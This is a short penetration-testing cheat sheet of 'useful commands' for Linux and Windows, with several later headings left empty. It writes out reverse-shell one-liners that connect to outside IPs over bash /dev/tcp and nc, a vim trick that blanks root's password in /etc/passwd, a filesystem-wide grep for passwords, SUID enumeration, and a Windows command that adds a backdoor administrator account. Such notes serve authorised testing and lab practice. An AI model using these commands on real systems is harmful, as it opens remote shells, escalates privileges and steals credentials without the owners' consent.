Useful Commands

Linux

Linux one-liner reverse shell:

/bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1'
bash -c 'bash -i >& /dev/tcp/10.10.16.78/4444 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f

Finding string in all files:

sudo find / -type f -readable -exec grep -Hro "password" {} \;

Remove su command restriction exploiting vims cap_dac_override:

echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd

Finding SUID binaries on linux:

find / -perm -4000 2>/dev/null

Windows

Adding Admin user on Windows:

net user user Pwn3d! /add;net localgroup administrators user /add

Identify unquoted service binary paths on Windows

wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

List all readable PS command history files:

Commands to check user account description field where we might find credentials

Reverse shell on-liner for PS

Certutil file transfer

Get all CLSIDs:

Finding specific file using filename

Search for string in files from current folder and subfolders

Manual hive dumps:

Last updated